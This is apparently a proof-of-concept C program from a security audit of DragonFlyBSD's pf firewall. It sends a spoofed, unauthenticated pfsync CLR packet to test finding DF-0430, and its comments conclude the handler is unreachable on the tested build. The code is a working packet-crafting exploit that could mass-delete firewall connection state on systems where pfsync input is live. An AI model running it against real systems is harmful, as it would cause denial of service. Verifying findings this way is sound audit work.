/*
 * inject_clr.c — DF-0430 demonstration trigger.
 *
 * DF-0430 claims unauthenticated PFSYNC_ACT_CLR/DEL/DEL_C packets let an
 * attacker mass-destroy arbitrary pf state across every CPU
 * (sys/net/pf/if_pfsync.c:542-608 for CLR, :749 for DEL, :873 for DEL_C).
 * This program crafts the CLR variant (the most destructive — clears ALL
 * states with a matching creatorid on every CPU when ifname==""):
 *
 *   action=PFSYNC_ACT_CLR, pfsync_state_clr { ifname="", creatorid=0xdeadbeef }
 *
 * EXPECTED IF BUG WERE LIVE: every pf state whose creatorid==0xdeadbeef is
 * unlinked on every CPU (pf_unlink_state), severing tracked connections;
 * pfsyncstats.pfsyncs_ipackets increments.
 *
 * ACTUAL on DragonFlyBSD master DEV: the packet is received by the IP layer
 * but, because pfsync_input is NOT registered (dead code — see VERDICT.md),
 * ip_protox[240] resolves to the RAW wildcard, the packet is counted as an
 * unknown/unsupported protocol (netstat -sp ip), pfsyncstats.pfsyncs_ipackets
 * stays 0, and NO state is deleted. => handler unreachable, finding moot.
 *
 * Build: cc -o inject_clr inject_clr.c
 * Run  : ./inject_clr <src-ip> <dst-ip> <creatorid-hex>
 *        (default: 10.0.2.99 -> 224.0.0.240 0xdeadbeef)
 *
 * Requires root (raw socket). The finding's premise is that NO source auth
 * is done, so we spoof an arbitrary on-link source.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <net/pf/if_pfsync.h>

static u_int16_t
cksum(const void *data, int len)
{
	const u_int16_t *p = data;
	u_int32_t sum = 0;
	while (len > 1) { sum += *p++; len -= 2; }
	if (len) sum += *(const u_int8_t *)p;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (u_int16_t)~sum;
}

int
main(int argc, char **argv)
{
	int s, on = 1;
	struct sockaddr_in dst;
	unsigned int creatorid;
	const char *src = (argc > 1) ? argv[1] : "10.0.2.99";
	const char *grp = (argc > 2) ? argv[2] : "224.0.0.240";
	const char *cid = (argc > 3) ? argv[3] : "deadbeef";

	if (sscanf(cid, "%x", &creatorid) != 1)
		errx(1, "creatorid");

	/*
	 * IP(20) + pfsync_header(28) + pfsync_state_clr.
	 * pfsync.h: struct pfsync_state_clr { u_int8_t ifname[IFNAMSIZ];
	 *           u_int32_t creatorid; }
	 */
	struct {
		struct ip			ip;
		struct pfsync_header		ph;
		struct pfsync_state_clr		clr;
	} __packed pkt;

	memset(&pkt, 0, sizeof(pkt));

	pkt.ip.ip_v   = 4;
	pkt.ip.ip_hl  = sizeof(struct ip) >> 2;
	pkt.ip.ip_tos = 0;
	pkt.ip.ip_len = htons(sizeof(pkt));
	pkt.ip.ip_id  = htons(0x1234);
	pkt.ip.ip_off = 0;
	pkt.ip.ip_ttl = PFSYNC_DFLTTL;		/* 255 */
	pkt.ip.ip_p   = IPPROTO_PFSYNC;		/* 240 */
	pkt.ip.ip_sum = 0;
	inet_pton(AF_INET, src, &pkt.ip.ip_src);
	inet_pton(AF_INET, grp, &pkt.ip.ip_dst);
	pkt.ip.ip_sum = cksum(&pkt.ip, sizeof(pkt.ip));

	pkt.ph.version = PFSYNC_VERSION;		/* 4 */
	pkt.ph.af      = AF_INET;
	pkt.ph.action  = PFSYNC_ACT_CLR;	/* 0 — clear all states */
	pkt.ph.count   = 1;
	memset(pkt.ph.pf_chksum, 0, sizeof(pkt.ph.pf_chksum));

	/* ifname=="" => walk tree_id[] on EVERY cpu (the mass-delete path) */
	memset(pkt.clr.ifname, 0, sizeof(pkt.clr.ifname));
	pkt.clr.creatorid = htonl(creatorid);

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) err(1, "socket(IPPROTO_RAW)");
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
		err(1, "IP_HDRINCL");

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	inet_pton(AF_INET, grp, &dst.sin_addr);

	ssize_t n = sendto(s, &pkt, sizeof(pkt), 0,
	    (struct sockaddr *)&dst, sizeof(dst));
	if (n < 0) err(1, "sendto");

	printf("sent %zd bytes: %s -> %s  proto=240 ttl=255 act=CLR "
	    "ifname=\"\" creatorid=0x%x (mass-delete trigger)\n",
	    n, src, grp, creatorid);
	close(s);
	return 0;
}
